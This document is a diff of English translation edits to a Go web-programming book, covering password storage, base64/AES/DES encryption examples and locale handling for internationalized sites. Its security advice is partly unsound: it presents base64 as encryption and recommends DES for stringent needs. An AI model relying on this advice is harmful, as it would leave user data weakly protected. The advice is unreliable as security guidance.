Through the above method can obtain only the corresponding password value, which is by far the most difficult to crack.
|
||||
You can generate unique password values using the above method, which are by far the most difficult to crack.
|
||||
|
||||
## Summary
|
||||
|
||||
See here, if you had a sense of crisis, then action:
|
||||
If you're worried about the security of your online life, you can take the following steps:
|
||||
|
||||
1) If you are a regular user, then we recommend LastPass for password storage and generation, on different sites use different passwords.
|
||||
1) As a regular internet user, we recommend using LastPass for password storage and generation; on different sites use different passwords.
|
||||
|
||||
2) If you are a developer, then we strongly suggest you use expert program for password storage.
|
||||
2) As a Go web developer, we strongly suggest that you use one of the professional, well tested methods above for storing user passwords.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# 9.6 Encrypt and decrypt data
|
||||
# 9.6 Encrypting and decrypting data
|
||||
|
||||
The previous section describes how to store passwords, but sometimes we want to change some sensitive data encrypted and stored up sometime in the future, with the need to decrypt them out , then we should use a symmetric encryption algorithm to meet our needs.
|
||||
The previous section describes how to securely store passwords, but sometimes it might be neccessary to modify some sensitive encrypted data that has already been stored into our database. When data decryption is required, we should use a symmetric encryption algorithm instead of the one-way hashing techniques we've previously covered.
|
||||
|
||||
## Base64 Encryption and decryption
|
||||
|
||||
If the Web application is simple enough, data security is no less stringent requirements, then you can use a relatively simple method of encryption and decryption is `base64`, this approach is relatively simple to implement , Go language `base64` package has been well support of this , consider the following examples:
|
||||
If the web application is relatively simple, and the data security requirements are not so stringent, then you can use a relatively simple method of encryption and decryption using `base64`. This approach is relatively straightforward to implement, and Go's `base64` package has good support for this. Consider the following example:
|
||||
|
||||
package main
|
||||
|
||||
@@ -42,13 +42,12 @@ If the Web application is simple enough, data security is no less stringent requ
|
||||
|
||||
## Advanced encryption and decryption
|
||||
|
||||
Go inside the `crypto` language support symmetric encryption advanced encryption package are:
|
||||
The Go language supports symmetric encryption algorithms in its `crypto` package. Two advanced encryption modules are:
|
||||
|
||||
- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method used is the U.S. federal government as a block encryption standard.
|
||||
- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard , is currently the most widely used key system, especially in protecting the security of financial data.
|
||||
Was a United States federal government encryption standard, but has now been replaced by AES.
|
||||
- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard.
|
||||
- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard . It's currently the most widely used key system, especially in protecting the security of financial data. It used to be the United States federal government's encryption standard, but has now been replaced by AES.
|
||||
|
||||
Because of these two algorithms using methods similar to, so in this, we just aes package as an example to explain their use, see the following example
|
||||
Because using these two encryption algorithms is quite similar, we'll just use the `aes` package in the following example to demonstrate how you'd typically use these packages:
|
||||
|
||||
package main
|
||||
|
||||
@@ -64,7 +63,7 @@ Because of these two algorithms using methods similar to, so in this, we just ae
|
||||
func main() {
|
||||
// Need to encrypt a string
|
||||
plaintext := []byte("My name is Astaxie")
|
||||
// If the incoming encrypted strings of words, plaint is that the incoming string
|
||||
// If there is an incoming string of words to be encrypted, set plaintext to that incoming string
|
||||
if len(os.Args) > 1 {
|
||||
plaintext = []byte(os.Args[1])
|
||||
}
|
||||
@@ -77,7 +76,7 @@ Because of these two algorithms using methods similar to, so in this, we just ae
|
||||
|
||||
fmt.Println(len(key_text))
|
||||
|
||||
// Create the encryption algorithm aes
|
||||
// Create the aes encryption algorithm
|
||||
c, err := aes.NewCipher([]byte(key_text))
|
||||
if err != nil {
|
||||
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
|
||||
@@ -97,7 +96,7 @@ Because of these two algorithms using methods similar to, so in this, we just ae
|
||||
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
|
||||
}
|
||||
|
||||
Above by calling the function `aes.NewCipher` ( parameter key must be 16, 24 or 32 of the [] byte, respectively, corresponding to the AES-128, AES-192 or AES-256 algorithm ) , returns a `cipher.Block` Interface this interface implements three functions:
|
||||
Calling the above function `aes.NewCipher` (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a `cipher.Block` Interface that implements three functions:
|
||||
|
||||
type Block interface {
|
||||
// BlockSize returns the cipher's block size.
|
||||
@@ -112,11 +111,11 @@ Above by calling the function `aes.NewCipher` ( parameter key must be 16, 24 or
|
||||
Decrypt(dst, src []byte)
|
||||
}
|
||||
|
||||
These three functions implement encryption and decryption operations, a detailed look at the operation of the above example .
|
||||
These three functions implement encryption and decryption operations; see the Go documentation for a more detailed explanation.
|
||||
|
||||
## Summary
|
||||
|
||||
This section describes several encryption algorithms, when the development of Web applications can be used in different ways according to the demand for encryption and decryption , the general application of base64 algorithm can be used , then you can use more advanced or AES DES algorithm .
|
||||
This section describes several encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For the most basic applications, base64 encoding may suffice. For applications with more stringent security requirements, it's recommended to use the more advanced AES or DES algorithm .
|
||||
|
||||
|
||||
## Links
|
||||
|
||||
@@ -1,8 +1,7 @@
|
||||
# 9.7 Summary
|
||||
|
||||
This chapter describes as: CSRF attacks, XSS attacks, SQL injection attacks, etc. Some Web applications typical methods of attack, they are due to the application on the user's input filter cause no good, so in addition to introduce the method of attack in addition, we have also introduced how to effectively carry out data filtering to prevent these attacks occurrence. Then the password for the day iso serious spill, introduced in the design of Web applications can be used from basic to expert encryption scheme. Finally encryption and decryption of sensitive data brief, Go language provides three symmetric encryption algorithms: base64, AES and DES implementation.
|
||||
|
||||
The purpose of writing this chapter is to enhance the reader to the concept of security in the consciousness inside, when the Web application in the preparation of a little more carefully, so that we can write Web applications away from hackers attacks. Go language has been in support of a large anti-attack toolkit, we can take full advantage of these packages to make a secure Web applications.
|
||||
In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then talked about a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. We learned that the Go language provides packages for three symmetric encryption algorithms: base64, AES and DES.
|
||||
The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web applications.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
# 10 Internationalization and localization
|
||||
|
||||
In order to adapt to globalization, as a developer, we need to develop a multilingual, international Web applications.
|
||||
This means the same page in a different language environment need to show a different effect. For example, the application at runtime according to the request from the geographical and language differences and display a different user interface. Thus, when an application needs to add support for a new language, the need to modify the application code, just add language packs can be realized.
|
||||
In order to adapt to the increasing globalization of the internet, as developers, we may sometimes need to build multilingual, international web applications.
|
||||
This means that same pages will appear in different languages according to user regions, and perhaps the UI and UX will also be adapted to show different effects based on local holidays or culture. For example at runtime, the application will be able to recognize and process requests coming from different geographical regions and render pages in the local dialect or display different user interface. As competent developers, we don't want to have to manually modify our application's source code to cater to every possible region out there. When an application needs to add support for a new language, we should be bale to simply drop in the appropriate language pack and be done with it.
|
||||
|
||||
Internationalization and Localization (usually expressed as i18n and L10N), internationalization is an area designed for the reconstruction program to enable it to use in more areas, localization refers to a face international programs to increase support for the new region.
|
||||
In this section, we'll be talking about internationalization and localization (usually expressed as i18n and L10N, respectively). Internationalization is the process of designing applications that are flexible enough to be served to multiple regions around the world. In some ways, we can think of internationalization as something that helps to facilitate localization, which is the adaptation of a web application's content and design to suit the language or cultural needs of specific locales.
|
||||
|
||||
Currently, Go language standard package does not provide i18n support, but there are some relatively simple third-party implementations of this chapter we will achieve a go-i18n library to support the Go language i18n.
|
||||
Currently, Go's standard package does not provide i18n support, but there are some useful and relatively simple third-party implementations available. In this chapter, we'll be using the open-source "go-i18n" library to support internationalization in our examples.
|
||||
|
||||
The so-called International: is based on a specific locale information, extracted with the corresponding string or some other things (such as time and currency format) and so on. This involves three issues:
|
||||
When we talk about making our web applications "international", we mean that each web page should be constructed with locale specific information and assembled with the corresponding local strings, time and currency formats, etc. This involves three things:
|
||||
|
||||
1. how to determine the locale.
|
||||
1. how to determine the user's locale.
|
||||
|
||||
2. how to save the string associated with the locale or other information.
|
||||
2. how to save strings or other information associated with the locale.
|
||||
|
||||
3. how to extract according to locale strings and other appropriate information.
|
||||
3. how to embed strings and other information according to the user's locale.
|
||||
|
||||
In the first section, we will describe how to set the correct locale in order to allow access to the site's users to get their language corresponding page. The second section describes how to handle or store strings, currency, time, date and other locale related information, and the third section describes how to achieve international sites, namely, how to return different depending on locale appropriate content. Through these three sections of the study, we will get a full i18n program.
|
||||
In the first section, we'll describe how to detect and set the correct locale in order to allow website users access to their language specific pages. The second section describes how to handle or store strings, currencies, times, dates and other locale related information. Finally, the third section will describe how to internationalize your web application; more specifically, we'll discuss how to return different pages with locale appropriate content. Through these three sections, we'll be able to support full i18n in our web applications.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,25 +1,25 @@
|
||||
# 10.1 Time zone
|
||||
# 10.1 Time zones
|
||||
|
||||
## What is the Locale
|
||||
## Finding out the locale
|
||||
|
||||
Locale is a set of descriptors in the world in a particular region and language habits text format collection of settings. locale name is usually composed of three parts: The first part is a mandatory, which means that the language abbreviation, such as "en" for English or "zh" represents Chinese. The second part, followed by an underscore, the country is an optional specifier, speak the same language is used to distinguish between different countries, such as "en_US" for U.S. English, and "en_UK" represents British English. The last part, followed by a period after the optional character set specifiers, such as "zh_CN.gb2312" said the Chinese use the gb2312 character set.
|
||||
A locale is a set of descriptors for a particular geographical region, and can include specific language habits, text formatting, cultural idioms and a multitude of other settings. A locale's name is usually composed of three parts. First (and mandatory) is the locale's language abbreviation, such as "en" for English or "zh" for Chinese. The second part is an optional country specifier, and follows the first with an underscore. This specifier allows web applications to distinguish between different countries which speak the same language, such as "en_US" for U.S. English, and "en_UK" for British English. The last part is another optional specifier, and is added to the locale with a period. It specifies which character set to use, for instance "zh_CN.gb2312" specifies the gb2312 character set for Chinese.
|
||||
|
||||
GO language defaults to "UTF-8" encoding set, so we realize i18n does not consider the third part, then we have adopted the locale description of the previous two sections as i18n standard locale name.
|
||||
Go defaults to the "UTF-8" encoding set, so i18n in Go applications do not need to consider the last parameter. Thus, in our examples, we'll only use the first two parts of locale descriptions as our standard i18n locale names.
|
||||
|
||||
> On Linux and Solaris systems can `locale -a` command lists all supported regional name, the reader can see these areas naming names. For BSD and other systems, there is no locale command, but the regional information is stored in `/usr/share/locale`.
|
||||
> On Linux and Solaris systems, you can use the `locale -a` command to get a list of all supported regional names. You can use this list as examples of some common locales. For BSD and other systems, there is no locale command, but the regional information is stored in `/usr/share/locale`.
|
||||
|
||||
## Set the Locale
|
||||
## Setting the locale
|
||||
|
||||
With the face of the locale definition, then we need according to the user's information( access to information, personal information, access to domain names, etc.) to set the associated locale, we can use the following several ways to set the user's locale.
|
||||
Now that we've defined what a locale is, we need to be able to set it according to visiting users' information (either from their personal settings, the visited domain name, etc.). Here are some methods we can use to set the user's locale:
|
||||
|
||||
### Set Locale by domain name
|
||||
### From the domain name
|
||||
|
||||
Set Locale way this is used when the application is running domain hierarchical manner, for example, we have adopted as our English www.asta.com station( the default station), and the domain name www.asta.cn as a Chinese station. By application of this domain name and set up inside the correspondence between the respective locale, you can set up regions. This treatment has several advantages:
|
||||
We can set a user's locale via the domain name itself when the application uses different domains for different regions. For example, we can use www.asta.com as our default English website, and the domain name www.asta.cn as its Chinese counterpart. By setting up separate domains for separate regions, you can detect and serve the requested locale. This type of setup has several advantages:
|
||||
|
||||
- Via a URL can be very distinctive identification
|
||||
- Users can be very intuitive to know the domain name will be visiting the site in that language
|
||||
- Go program is implemented in a very simple and convenient, can be achieved through a map
|
||||
- Conducive to search engine crawlers can improve the site's SEO
|
||||
- Identifying the locale via URL is distinctive and unambiguous
|
||||
- Users intuitively know which domain names to visit for their specific region or language
|
||||
- Implementing this scheme in a Go application very simple and convenient, and can be achieved through a map
|
||||
- Conducive to search engine crawlers which can improve the site's SEO
|
||||
|
||||
We can use the following code to implement a corresponding domain name locale:
|
||||
|
||||
@@ -31,7 +31,7 @@ We can use the following code to implement a corresponding domain name locale:
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
Of course, in addition to the entire domain settings outside the region, we can also be set through the sub-domain areas, such as "en.asta.com" for English sites, "cn.asta.com" indicates Chinese site. Realization of the code is as follows:
|
||||
Alternatively, we could have also set locales through the use of sub-domain such as "en.asta.com" for English sites and "cn.asta.com" for Chinese site. This scheme can be realized in code as follows:
|
||||
|
||||
prefix:= strings.Split(r.Host,".")
|
||||
|
||||
@@ -43,25 +43,25 @@ Of course, in addition to the entire domain settings outside the region, we can
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
Locale setting by domain name as shown above advantages, but we generally do not develop Web applications, when used in this way, because first of all domain names cost is relatively high, the development of a Locale need a domain name, and often the name of the domain does not necessarily uniform apply to, and secondly we do not want to go to each site localization of a configuration, but more is to use the url method with parameters, see the following description.
|
||||
Setting locales from the domain name as we've done above has its advantages, however l10n is generally not implemented in this way. First of all, the cost of domain names (although usually quite affordable individually) can quickly add up given that each locale will need its own domain name, and often the name of the domain will not necessarily fit in with the local context. Secondly, we don't want to have to individually configure each website for each locale. Rather, we should be able to do this programmatically, for instance by using URL parameters. Let's have a look at the following description.
|
||||
|
||||
### Locale parameter settings from the domain name
|
||||
### From URL parameters
|
||||
|
||||
The most common way is to set the Locale to bring inside in the URL parameters, such `www.asta.com/hello?locale=zh` or `www.asta.com/zh/hello`. So that we can set the region: `i18n.SetLocale(params["locale"])`.
|
||||
The most common way of implementing l10n is to set the desired locale directly in the URL parameters, such `www.asta.com/hello?locale=zh` or `www.asta.com/zh/hello`. This way, we can set the region like so: `i18n.SetLocale(params["locale"])`.
|
||||
|
||||
This setup has almost speaking in front of the domain name Locale setting all the advantages, it uses a RESTful way, so we do not need to add additional methods to deal with. However, this approach requires a link inside each one corresponding increase in the parameter locale, this may be a bit complicated and sometimes quite cumbersome. However, we can write a generic function that url, so that all the link addresses are generated through this function, then this function which increases `locale = params [" locale "]` parameter to alleviate it.
|
||||
This setup has almost all the advantages of prepending the locale in front of the domain and it's RESTful, so we don't need to add additional methods to implement it. The downside to this approach is that it requires a corresponding locale parameter inside each link, which can be quite cumbersome and may increase complexity. However, we can write a generic function that produces these locale-specific URLs so that all links are generated through it. This function should automatically add a locale parameter to each link so when users click them, we are able to parse their requests with ease: `locale = params [" locale "]`.
|
||||
|
||||
Maybe we want to look more RESTful URL address that, for example: `www.asta.com/en/books` (English site) and `www.asta.com/zh/books` (Chinese site), this approach is more conducive to the URL SEO, but also more friendly for the user, can be accessed through the URL of the site that intuitive. Then such a URL address to get through router locale(reference section which describes the router REST plug-in implementation):
|
||||
Perhaps we want our URLs to look even more RESTful. For example, we could map each of our resources under a specific locale like `www.asta.com/en/books` for our English site and `www.asta.com/zh/books` for the Chinese one. This approach is not only more conducive to URL SEO, but is also more friendly for users. Anybody visiting the site should be able to access locale-specific website resources directly from the URL. Such URL addresses can then be passed through the application router in order to obtain the proper locale (refer to the REST section, which describes the router plug-in implementation):
|
||||
|
||||
mux.Get("/:locale/books", listbook)
|
||||
|
||||
### From the client settings area
|
||||
|
||||
In some special cases, we need the client's information rather than through the URL to set Locale, such information may come from the client to set the preferred language( the browser settings), the user's IP address, the user at the time of registration fill the location information. This approach is more suitable for Web -based applications.
|
||||
In some special cases, we require explicit client information in order to set the locale rather than obtaining it from the URL or URL parameters. This information may come directly from the client's browser settings, the user's IP address, or the location settings filled out by the user at the time of registration. This approach is more suitable for web-based applications.
|
||||
|
||||
- Accept-Language
|
||||
|
||||
When a client requests information in the HTTP header there `Accept-Language`, clients will generally set this information, the following is the Go language to achieve a simple `Accept-Language` under implementation sets the region code:
|
||||
When a client requests information using an HTTP header set with the `Accept-Language` field, we can use the following Go code to parse the header and set the appropriate region code:
|
||||
|
||||
AL := r.Header.Get("Accept-Language")
|
||||
if AL == "en" {
|
||||
@@ -72,18 +72,19 @@ When a client requests information in the HTTP header there `Accept-Language`, c
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
Of course, in practical applications, it may require more rigorous judgment to be set area
|
||||
Of course, in real world applications, we may require more rigorous processes and rules for setting user regions
|
||||
|
||||
- IP Address
|
||||
|
||||
Another set of the client area is the user access IP, we according to the corresponding IP library, corresponding to the IP access to areas of the world that is more commonly used GeoIP Lite Country this library. This setting regional mechanism is very simple, we only need to check the user's IP IP database and then return to the country regions, according to the results returned by setting the corresponding regions.
|
||||
Another way of setting a client's region is to look at the user's IP address. We can use the popular [GeoIP GeoLite Country or City libraries](http://dev.maxmind.com/geoip/legacy/geolite/) to help us relate user IP addresses to their corresponding regional areas. Implementing this mechanism is very simple: we only need to look up the user's IP address inside our database and then return locale-specific content according to which region was returned.
|
||||
|
||||
- User profile
|
||||
|
||||
Of course, you can also let users provide you with drop-down menus or whatever way set the appropriate locale, then we have the information entered by the user, it is saved to the account associated with the profile, when the user login again, this time to set up replicated to the locale setting, so that you can guarantee that every time the user accesses are based on their previously set locale to get the page.
|
||||
You can also let users provide you with their locale information through an input element such as a drop-down menu (or something similar). When we receive this information, we can save it to the account associated with the user's profile. When the user logs in again, we will be able to check and set their locale settings -this guarantees that every time the user accesses the website, the returned content will be based on their previously set locale.
|
||||
|
||||
## Summary
|
||||
|
||||
Through the above description shows that you can set the Locale There are many ways that we should be selected according to the different needs of different settings Locale way to allow a user to its most familiar way to get the services we provide, improve application user friendliness.
|
||||
In this section, we've demonstrated a variety of ways with which user specific locales can be detected and set. These methods included setting the user locale via domain name, subdomain name, URL parameters and directly from client settings. By catering to the specific needs of specific regions, we can provide a comfortable, familiar and intuitive environment for users to access the services that we provide.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# 10.2 Localized Resources
|
||||
|
||||
The previous section we describe how to set Locale, Locale set then we need to address the problem is how to store the information corresponding to the appropriate Locale it? This inside information includes: text messages, time and date, currency values , pictures, include files, and view other resources. So then we are talking about information on eleven of these are described, Go language we put these information is stored in JSON format, and then through the appropriate way to show it. (Followed by Chinese and English contrast for example, the storage format en.json and zh-CN.json)
|
||||
The previous section described how to set locales. After the locale has been set, we then need to address the problem of storing the information corresponding to specific locales. This information can include: textual content, time and date, currency values , pictures, specific files and other view resources. In Go, all of this contextual information is stored in JSON format on our backend, to be called upon and injected into our views when users from specific regions visit our website. For example, English and Chinese content would be stored in en.json and zh-CN.json files, respectively.
|
||||
|
||||
## Localized text messages
|
||||
## Localized textual content
|
||||
|
||||
This information is most commonly used for writing Web applications, but also localized resources in the most information, you want to fit the local language way to display text information, a feasible solution is: Create a map corresponding to the language needed to maintain a key-value relationship, before the output needed to go from a suitable map for the corresponding text in the following is a simple example:
|
||||
Plain text is the most common way of representing information in web applications, and the bulk of your localized content will likely take this form. The goal is to provide textual content that is both idiomatic to regional expressions and feels natural for foreign users of your site. One solution is to create a nested map of locales, native language strings and their local counterparts. When clients request pages with some textual content, we first check their desired locale, then retrieve the corresponding strings from the appropriate map. The following snippet is a simple example of this process:
|
||||
|
||||
package main
|
||||
|
||||
@@ -36,26 +36,25 @@ This information is most commonly used for writing Web applications, but also lo
|
||||
return ""
|
||||
}
|
||||
|
||||
The above example demonstrates a different locale text translation to achieve the Chinese and English for the same key display different language implementation, to achieve the above Chinese text message, if you want to switch to the English version, just need to set to en lang.
|
||||
The above example sets up maps of translated strings for different locales (in this case, the Chinese and English locales). We map our `cn` translations to the same English language keys so that we can reconstruct our English text message in Chinese. If we wanted to switch our text to any other locale we may have implemented, it'd be a simple matter of setting one `lang` variable.
|
||||
|
||||
Sometimes only a key-value substitution is not meet the need, for example, "I am 30 years old", Chinese expression "I am 30 years old," and where 30 is a variable, how to do it? This time, we can combine `fmt.Printf` function to achieve, see the following code:
|
||||
Simple key-value substitutions can sometimes be inadequate for our needs. For example, if we had a phrase such as "I am 30 years old" where 30 is a variable, how would we localize it? In cases like these, we can combine use the `fmt.Printf` function to achieve the desired result:
|
||||
|
||||
en["how old"] = "I am %d years old"
|
||||
cn["how old"] = "我今年%d岁了"
|
||||
|
||||
fmt.Printf(msg(lang, "how old"), 30)
|
||||
|
||||
The above example code is only to demonstrate the internal implementations, but the actual data is stored in the JSON inside, so we can `json.Unmarshal` to populate the data for the corresponding map.
|
||||
The example code above is only for the purpose of demonstration; actual locale data is typically stored in JSON format in our database, allowing us to execute a simple `json.Unmarshal` to populate map locales with our string translations.
|
||||
|
||||
## Localized date and time
|
||||
|
||||
Because the relationship between time zones, the same time, in different regions, which means that is not the same, but because of the relationship between Locale and time formats are not the same, for example, Chinese environment may be displayed:
|
||||
`October 24, 2012 Wednesday 23:11 minutes and 13 seconds CST`, while in the English environment may show: `Wed Oct 24 23:11:13 CST 2012`. That which we need to address two points:
|
||||
Because of our time zone conventions, the time in one region of the world can be different than the time in another region. Similarly, the way in which time is represented can also vary from locale to locale. For example, a Chinese environment may read `2012年10月24日 星期三 23时11分13秒 CST`, while in English, it might be: `Wed Oct 24 23:11:13 CST 2012`. Not only are there variations in language, but there are differences in formatting also. So, when it comes to localizing dates and times, we need to address the following two points:
|
||||
|
||||
1. time zones
|
||||
2. formatting issues
|
||||
|
||||
`$GOROOT/lib/time/package/timeinfo.zip` contain locale corresponds to the time zone definition, in order to obtain a time corresponding to the current locale, we should first use `time.LoadLocation (name string)` Get the region corresponding to the locale, such as `Asia/Shanghai` or `America/Chicago` corresponding to the time zone information, and then use this information to call the `time.Now` time object obtained collaborate to get the final time. Detailed Look at the following example (this example uses the example above, some of the variables):
|
||||
The `$GOROOT/lib/time/package/timeinfo.zip` directory contains locales corresponding to time zone definitions. In order to obtain the time corresponding to a user's current locale, we should first use `time.LoadLocation(name string)` to get a Location object corresponding to our locale, passing in a string representing the locale such as `Asia/Shanghai` or `America/Chicago`. We can then use this Location object in conjunction with a Time object (obtained by calling `time.Now`) to get the final time using the Time object's `In` method. A detailed look at this process can be seen below (this example uses some of the variables from the example above):
|
||||
|
||||
en["time_zone"] = "America/Chicago"
|
||||
cn["time_zone"] = "Asia/Shanghai"
|
||||
@@ -65,17 +64,17 @@ Because the relationship between time zones, the same time, in different regions
|
||||
t = t.In(loc)
|
||||
fmt.Println(t.Format(time.RFC3339))
|
||||
|
||||
We can handle text format similar way to solve the problem of time format, for example as follows:
|
||||
We can handle text formatting in a similar way to solve our time formatting problem:
|
||||
|
||||
en["date_format"]="%Y-%m-%d %H:%M:%S"
|
||||
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"
|
||||
|
||||
fmt.Println(date(msg(lang,"date_format"),t))
|
||||
|
||||
func date(fomate string,t time.Time) string{
|
||||
func date(fomat string, t time.Time) string{
|
||||
year, month, day = t.Date()
|
||||
hour, min, sec = t.Clock()
|
||||
//Parsing the corresponding %Y%m%d%H%M%S and then return information
|
||||
//Parsing the corresponding %Y%m%d%H%M%S and then returning the information
|
||||
//%Y replaced by 2012
|
||||
//%m replaced by 10
|
||||
//%d replaced by 24
|
||||
@@ -83,21 +82,21 @@ We can handle text format similar way to solve the problem of time format, for e
|
||||
|
||||
## Localized currency value
|
||||
|
||||
Various regions of the currency is not the same, is also treated with a date about the details see the following code:
|
||||
Obviously, currency differs from region to region also. We can treat it the same way we treated our dates:
|
||||
|
||||
en["money"] ="USD %d"
|
||||
cn["money"] ="¥%d元"
|
||||
|
||||
fmt.Println(date(msg(lang,"date_format"),100))
|
||||
|
||||
func money_format(fomate string,money int64) string{
|
||||
return fmt.Sprintf(fomate,money)
|
||||
func money_format(fomat string, money int64) string{
|
||||
return fmt.Sprintf(fomat, money)
|
||||
}
|
||||
|
||||
|
||||
## Localization views and resources
|
||||
## Localization of views and resources
|
||||
|
||||
We may use Locale to show different views that contain different images, css, js and other static resources. So how to deal with these information? First we shall locale to organize file information, see the following file directory Arrangement:
|
||||
We can serve customized views with different images, css, js and other static resources depending on the current locale. One way to accomplish this is by organizing these files into their respective locales. Here's an example:
|
||||
|
||||
views
|
||||
|--en //English Templates
|
||||
@@ -113,13 +112,13 @@ We may use Locale to show different views that contain different images, css, js
|
||||
index.tpl
|
||||
login.tpl
|
||||
|
||||
With this directory structure we can render to realize where this code:
|
||||
With this directory structure, we can render locale-specific views like so:
|
||||
|
||||
s1, _ := template.ParseFiles("views" + lang + "index.tpl")
|
||||
VV.Lang = lang
|
||||
s1.Execute(os.Stdout, VV)
|
||||
|
||||
As for the inside of the resources inside the index.tpl set as follows:
|
||||
The resources referenced in the `index.tpl` file can be dealt with as follows:
|
||||
|
||||
// js file
|
||||
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
|
||||
@@ -128,11 +127,11 @@ As for the inside of the resources inside the index.tpl set as follows:
|
||||
// Picture files
|
||||
<img src="views/{{.VV.Lang}}/images/btn.png">
|
||||
|
||||
With this view, and the way to localize the resources, we can easily be expanded.
|
||||
With dynamic views and the way we've localized our resources, we will be able to add more locales without much effort.
|
||||
|
||||
## Summary
|
||||
|
||||
This section describes how to use and store local resources, sometimes through the conversion function to achieve, sometimes through lang to set up, but eventually through key-value way to store Locale corresponding data when needed remove the corresponding Locale information, if it is a text message directly to the output, if it is the date and time or money, you need to pass `fmt.Printf` or other formatting function to deal with, and for different views and resources Locale is the most simple, as long as increase in the path which can be achieved lang.
|
||||
This section described how to use and store local resources. We learned that we can use conversion functions and string interpolation for this, and saw that maps can be an effective way of storing locale-specific data. For the latter, we could simply extract the corresponding locale information when needed -if it was textual content we desired, our mapped translations and idioms could be piped directly to the output. If it was something more sophisticated like time or currency, we simply used the `fmt.Printf` function to format it before-hand. Localizing our views and resources was the easiest case, and simply involved organizing our files into their respective locales, then referencing them from their locale relative paths.
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# 10.3 International sites
|
||||
|
||||
Previous section describes how to handle localized resources, namely Locale an appropriate configuration files, so if dealing with multiple localized resources? For example, some of our frequently used: simple text translation, time and date, number, etc. If handle it? This section eleven solve these problems.
|
||||
The previous section explained how to deal with localized resources, namely by using locale configuration files. So what can we do if we need to deal with *multiple* localized resources like text translations, times and dates, numbers, etc? This section will address these issues one by one.
|
||||
|
||||
## Manage multiple local package
|
||||
## Managing multiple locale packages
|
||||
|
||||
In the development of an application, the first thing we have to decide whether to support only one language, or languages, if you want to support multiple languages, we will need to develop an organizational structure to facilitate future to add more languages . Here we designed as follows: Locale -related files are placed in the `config/locales`, suppose you want to support Chinese and English, then you need to be placed in this folder en.json and zh.json. Probably the contents are as follows:
|
||||
In the development of an application, often the first thing you need to do is to decide whether or not you want to support more than one language. If you do decide to support multiple languages, you'll need to develop an organizational structure to facilitate the process of adding more languages in the future. One way we can do this is to put all our related locale files together in a `config/locales` directory, or something of the like. Let's suppose you want to support both Chinese and English. In this case, you'd be placing both the en.json and zh.json locale files into the aforementioned folder. Their contents would probably look something like the following:
|
||||
|
||||
# zh.json
|
||||
|
||||
@@ -24,18 +24,12 @@ In the development of an application, the first thing we have to decide whether
|
||||
}
|
||||
}
|
||||
|
||||
In order to support internationalization, in which we used an international related packages - [go-i18n](https://github.com/astaxie/go-i18n) ( ***More advanced i18n package can be found [here](https://github.com/beego/i18n)*** ), we first go-i18n package to register `config/locales` this directory, to load all of the locale files
|
||||
We decided to use some 3rd party Go packages to help us internationalize our web applications. In the case of [go-i18n](https://github.com/astaxie/go-i18n) ( ***A more advanced i18n package can be found [here](https://github.com/beego/i18n)*** ), we first have to register our `config/locales` directory to load all of our locale files:
|
||||
|
||||
Tr := i18n.NewLocale()
|
||||
Tr.LoadPath("config/locales")
|
||||
|
||||
This package is simple to use, you can be tested by the following method:
|
||||
|
||||
fmt.Println (Tr.Translate ("submit"))
|
||||
//Output Submit
|
||||
Tr.SetLocale ("zn")
|
||||
fmt.Println (Tr.Translate ("submit"))
|
||||
//Outputs " Submit"
|
||||
This package is simple to use. We can test that it works like so:
|
||||
|
||||
fmt.Println(Tr.Translate("submit"))
|
||||
//Output "submit"
|
||||
@@ -45,11 +39,11 @@ fmt.Println (Tr.Translate ("submit"))
|
||||
|
||||
## Automatically load local package
|
||||
|
||||
Above we described how to automatically load custom language packs, in fact, go-i18n library has been a lot of pre-loaded default formatting information, such as time format, currency format, the user can customize the configuration override these default configurations, see the following process:
|
||||
We've just described how to automatically load custom language packs. In fact, the `go-i18n` library comes pre-loaded with a bunch of default formatting information such as time and currency formats. These default configurations can be overridden and customized by users to suit their needs. Consider the following process:
|
||||
|
||||
//Load the default configuration files, which are placed below `go-i18n/locales`
|
||||
//Load the default configuration files, which are placed below in `go-i18n/locales`
|
||||
|
||||
//File naming zh.json, en-json, en-US.json etc., can be continuously extended to support more languages
|
||||
//File should be named zh.json, en-json, en-US.json etc., so we can be continuously support more languages
|
||||
|
||||
func (il *IL) loadDefaultTranslations(dirPath string) error {
|
||||
dir, err := os.Open(dirPath)
|
||||
@@ -91,9 +85,7 @@ Above we described how to automatically load custom language packs, in fact, go-
|
||||
return nil
|
||||
}
|
||||
|
||||
Through the above method to load configuration information to the default file, so that we can customize the time we do not have information when executed the following code to obtain the corresponding information:
|
||||
|
||||
//locale = zh, execute the following code:
|
||||
Using the above code to load all of our default translations, we can then use the following code to select and use a locale:
|
||||
|
||||
fmt.Println(Tr.Time(time.Now()))
|
||||
